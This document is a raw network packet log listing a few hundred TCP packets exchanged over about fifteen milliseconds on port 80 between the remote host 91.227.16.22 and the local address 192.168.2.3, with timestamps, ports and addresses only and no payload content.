Oct 3, 2023 09:55:09.987505913 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.987538099 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.987545013 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.987612009 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.987642050 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.987654924 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.987720966 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.987750053 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.987787962 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.987870932 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.987901926 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.987930059 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.988001108 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.988037109 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.988075018 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.988154888 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.988184929 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.988243103 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.988327026 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.988358974 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.988399029 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.988414049 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.988454103 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.988481045 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.988537073 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.988585949 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.988636017 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.988651991 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.988682985 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.988701105 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.988745928 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.988780975 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.988801003 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.988883972 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.988924026 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.988944054 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.988975048 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.989007950 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.989026070 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.989053965 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.989082098 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.989118099 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.989165068 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.989192963 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.989219904 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.989299059 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.989332914 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.989360094 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.989438057 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.989466906 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.989543915 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.989610910 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.989638090 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.989674091 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.989701033 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.989733934 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.989756107 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.989793062 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.989823103 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.989840031 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.989903927 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.989942074 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.989960909 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.989988089 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.990037918 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.990056992 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.990072012 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.990145922 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.990174055 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.990241051 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.990272045 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.990307093 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.990314960 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.990344048 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.990375042 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.990449905 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.990540981 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.990571976 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.990597963 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.990674973 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.990705013 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.990756989 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.990839958 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.990869999 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.990880966 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.990894079 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.990923882 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.990962982 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.991024017 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.991053104 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.991099119 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.991185904 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.991215944 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.991254091 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.991298914 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.991332054 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.991358042 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.991420031 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.991451979 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.991489887 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.991583109 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.991672993 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.991677999 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.991748095 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.991760969 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.991779089 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.991790056 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.991871119 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.991899967 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.991924047 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.992001057 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.992031097 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.992057085 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.992125034 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.992153883 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.992180109 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.992280960 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.992327929 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.992383957 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.992444038 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.992474079 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.992501974 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.992563009 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.992593050 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.992674112 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.992830992 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.992863894 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.992903948 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.992953062 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.993001938 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.993011951 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.993050098 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.993100882 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.993112087 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.993238926 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.993273020 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.993278980 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.993341923 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.993375063 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.993396997 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.993475914 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.993508101 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.993546009 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.993649960 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.993685007 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.993733883 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.993825912 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.993860960 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.993916035 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.993999958 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.994030952 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.994076967 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.994180918 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.994211912 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.994249105 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.994301081 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.994330883 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.994368076 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.994417906 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.994472980 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.994484901 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.994549036 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.994595051 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.994620085 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.994700909 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.994733095 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.994770050 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.994848013 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.994879961 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.994899035 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.994946003 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.994976997 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.994992971 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.995064974 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.995095015 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.995156050 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.995328903 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.995361090 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.995423079 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.995614052 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.995647907 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.995676994 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.995728970 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.995762110 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.995820999 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.995889902 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.995903969 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.995955944 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.996037006 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.996120930 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.996247053 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.996289015 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.996321917 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.996463060 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.996576071 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.996606112 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.996633053 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.996706963 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.996737957 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.996767044 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.996850014 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.996881962 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.996908903 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.996963024 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.996994972 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.997014999 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.997111082 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.997140884 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.997169018 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.997260094 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.997289896 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.997298002 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.997365952 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.997397900 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.997436047 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.997533083 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.997587919 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.997657061 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.997658014 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.997693062 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.997706890 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.997762918 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.997791052 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.997811079 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.997869968 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.997905016 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.997958899 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.998028040 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.998060942 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.998089075 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.998186111 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.998214960 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.998223066 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.998270035 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.998301029 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.998330116 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.998435974 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.998466015 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.998491049 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.998564959 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.998600960 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.998622894 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.998697996 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.998730898 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.998740911 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.998820066 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.998855114 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.998881102 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.998963118 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.998994112 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.999022007 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.999085903 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.999136925 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.999207020 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.999233961 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.999258041 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.999279022 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.999368906 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.999403000 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.999429941 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.999485970 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.999517918 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.999546051 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.999614000 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.999644995 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.999708891 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.999773979 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.999806881 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.999866962 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.999934912 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.999968052 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.999994993 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.000061035 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.000093937 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.000116110 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.000195980 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.000231981 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.000274897 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.000323057 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.000356913 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.000381947 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.000432968 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.000463009 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.000480890 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.000543118 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.000579119 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.000592947 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.000663996 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.000722885 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.000749111 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.000770092 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.000852108 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.000874996 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.000912905 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.000946045 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.000968933 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.001020908 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.001054049 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.001055956 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.001113892 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.001148939 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.001173973 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.001243114 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.001275063 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.001303911 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.001395941 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.001425982 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.001451969 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.001509905 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.001544952 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.001569986 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.001646042 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.001677990 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.001705885 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.001774073 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.001804113 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.001832962 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.001895905 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.001926899 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.001962900 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.002080917 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.002111912 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.002139091 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.002207994 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.002254009 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.002290010 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.002312899 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.002357006 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.002393007 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.002428055 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.002485991 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:10.002515078 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:10.002531052 CEST	80	49816	91.227.16.22	192.168.2.3
